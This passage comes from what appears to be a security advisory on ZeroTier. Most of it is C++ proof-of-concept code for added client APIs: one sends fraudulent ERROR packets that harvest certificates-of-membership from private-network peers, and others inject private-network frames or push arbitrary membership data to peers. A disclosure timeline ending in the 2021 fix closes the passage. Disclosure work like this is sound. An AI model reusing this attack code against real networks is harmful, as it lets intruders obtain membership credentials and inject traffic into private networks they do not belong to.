This attack was confirmed against a vanilla Zerotier install without the modifications made to assist testing. This confirmed it was not an issue that was accidentally introduced by the testing code-changes.
Additional Attack APIs
Additional APIs were developed to facilitate the attacks in this advisory. The complete changes are included in the patch file in the References section. These changes are proof-of-concept at best and should not be used for any kind of legitimate Zerotier client.
dowhois
The dowhois API was created to send WHOIS packets for arbitrary
Zerotier addresses.
else if (ps[0] == "dowhois") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 2) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
Address targetaddress = Address(wantp);
RuntimeEnvironment * RR = _node->getRuntime();
targetaddress.toString(tmp);
RR->sw->requestWhois(0x0,OSUtils::now(),targetaddress);
snprintf(tmp, sizeof(tmp), "WHOIS sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply address to WHOIS");
}
res["res"] = tmp;
scode = 501;
domembershiperror
The domembershiperror API was created to send fraudulent ERROR
packets to harvest certificates-of-membership from legitimate private
network peers.
} else if (ps[0] == "domembershiperror") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
uint64_t network = Utils::hexStrToU64(ps[2].c_str());
Address targetaddress = Address(wantp);
uint64_t pid = 0x43210; // garbage pid
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_ERROR);
outp.append((uint8_t)Packet::VERB_HELLO);
outp.append((uint64_t)pid);
outp.append((uint8_t)Packet::ERROR_NEED_MEMBERSHIP_CERTIFICATE);
outp.append(network);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "Error sent to 0x%lx for network 0x%lx", wantp, network);
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply peer and network address to send ERRORs to");
}
res["res"] = tmp;
scode = 501;
doframe
The doframe API was created to inject private network frames.
} else if (ps[0] == "doframe") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
unsigned char arp[] = { 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42};
unsigned int arp_len = 8;
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
uint64_t network = Utils::hexStrToU64(ps[2].c_str());
Address targetaddress = Address(wantp);
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_FRAME);
outp.append(network);
outp.append((uint16_t)ZT_ETHERTYPE_ARP);
outp.append(arp,arp_len);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "Frame sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply peer and network address for doframe");
}
res["res"] = tmp;
scode = 501;
sendcom
The sendcom API was created to send arbitrary COM data to arbitrary
peers.
} else if (ps[0] == "sendcom") {
char tmp[2048];
memset(tmp, 0x00, sizeof(tmp));
if (ps.size() == 3) {
uint64_t wantp = Utils::hexStrToU64(ps[1].c_str());
Address targetaddress = Address(wantp);
CertificateOfMembership com;
com.fromString(body.c_str());
RuntimeEnvironment * RR = _node->getRuntime();
Packet outp(targetaddress,RR->identity.address(),Packet::VERB_NETWORK_CREDENTIALS);
com.serialize(outp);
outp.append((uint8_t)0x00);
RR->sw->send(0x0, outp, true);
snprintf(tmp, sizeof(tmp), "COM sent");
}
else {
OSUtils::ztsnprintf(tmp,sizeof(tmp),"Please supply target peer address and COM string in the POST body.");
}
res["res"] = tmp;
scode = 501;
Timeline
18/06/2021 - Advisory sent to Zerotier
19/06/2021 - Root identity verification patch issued
15/07/2021 - Zerotier requested a retest of the root server security issue
21/07/2021 - Root identity issue retested, confirmed fixed
20/09/2021 - Advisory released
21/09/2021 - Collision detection implemented in Zerotier root servers
23/09/2021 - Zerotier 1.6.6 released